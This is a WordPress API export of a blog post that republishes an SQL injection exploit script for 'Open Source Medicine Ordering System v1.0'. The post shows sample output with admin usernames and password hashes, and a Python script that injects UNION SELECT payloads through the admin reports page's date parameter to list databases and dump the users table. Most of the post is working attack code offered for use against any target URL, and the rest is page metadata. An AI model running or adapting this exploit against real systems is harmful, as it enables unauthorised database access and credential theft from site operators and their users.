# Exploit Title : Open Source Medicine Ordering System v1.0 – SQLi
# Author : Onur Karasaliho\u011flu
# Date : 27\/02\/2024
# Sample Usage<\/p>\n
% python3 omos_sqli_exploit.py https:\/\/target.com
Available Databases:
1. information_schema
2. omosdb
Please select a database to use (enter number): 2
You selected: omosdb
Extracted Admin Users Data:
1 | Adminstrator | Admin | | 0192023a7bbd73250516f069df18b500 | admin
2 | John | Smith | D | 1254737c076cf867dc53d60a0364f38e | jsmith
”’<\/p>\n
import requests
import re
import sys<\/p>\n
def fetch_database_names(domain):
url = f”{domain}\/admin\/?page=reports&date=2024-02-22’%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,CONCAT(‘enforsec’,JSON_ARRAYAGG(CONCAT_WS(‘,’,schema_name)),’enforsec’)%20FROM%20INFORMATION_SCHEMA.SCHEMATA–%20-“<\/p>\n
try:
# HTTP request
response = requests.get(url)
response.raise_for_status() # exception for 4xx and 5xx requests<\/p>\n
# data extraction
pattern = re.compile(r’enforsec\\[“(.*?)”\\]enforsec’)
extracted_data = pattern.search(response.text)
if extracted_data:
databases = extracted_data.group(1).split(‘,’)
databases = [db.replace(‘”‘, ”) for db in databases]
print(“Available Databases:”)
for i, db in enumerate(databases, start=1):
print(f”{i}. {db}”)<\/p>\n
# users should select omos database
choice = int(input(“Please select a database to use (enter number): “))
if 0 < choice <= len(databases):
selected_db = databases[choice – 1]
print(f”You selected: {selected_db}”)
fetch_data(domain, selected_db)
else:
print(“Invalid selection.”)
else:
print(“No data extracted.”)
except requests.RequestException as e:
print(f”HTTP Request failed: {e}”)<\/p>\n
def fetch_data(domain, database_name):
url = f”{domain}\/admin\/?page=reports&date=2024-02-22’%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,CONCAT(‘enforsec’,JSON_ARRAYAGG(CONCAT_WS(‘,’,`type`,firstname,lastname,middlename,password,username)),’enforsec’) FROM {database_name}.users– -“<\/p>\n
try:
# HTTP request
response = requests.get(url)
response.raise_for_status() # exception for 4xx and 5xx requests<\/p>\n
# data extraction
pattern = re.compile(r’enforsec\\[(.*?)\\]enforsec’)
extracted_data = pattern.search(response.text)
if extracted_data:
print(“Extracted Admin Users Data:”)
data = extracted_data.group(1)
rows = data.split(‘”,”‘)
for row in rows:
clean_row = row.replace(‘”‘, ”)
user_details = clean_row.split(‘,’)
print(” | “.join(user_details))
else:
print(“No data extracted.”)
except requests.RequestException as e:
print(f”HTTP Request failed: {e}”)<\/p>\n
def main():
if len(sys.argv) != 2:
print(“Usage: python3 omos_sqli_exploit.py <domain>”)
sys.exit(1)<\/p>\n
fetch_database_names(sys.argv[1])<\/p>\n
if __name__ == “__main__”:
main()<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title : Open Source Medicine Ordering System v1.0 – SQLi# Author : Onur Karasaliho\u011flu# Date : 27\/02\/2024# Sample Usage % python3 omos_sqli_exploit.py https:\/\/target.comAvailable Databases:1. information_schema2. omosdbPlease select a database to use (enter number): 2You selected: omosdbExtracted Admin Users Data:1 | Adminstrator | Admin | | 0192023a7bbd73250516f069df18b500 | admin2 | John | Smith | …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56156","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56156","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56156"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56156\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56156"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56156"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56156"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}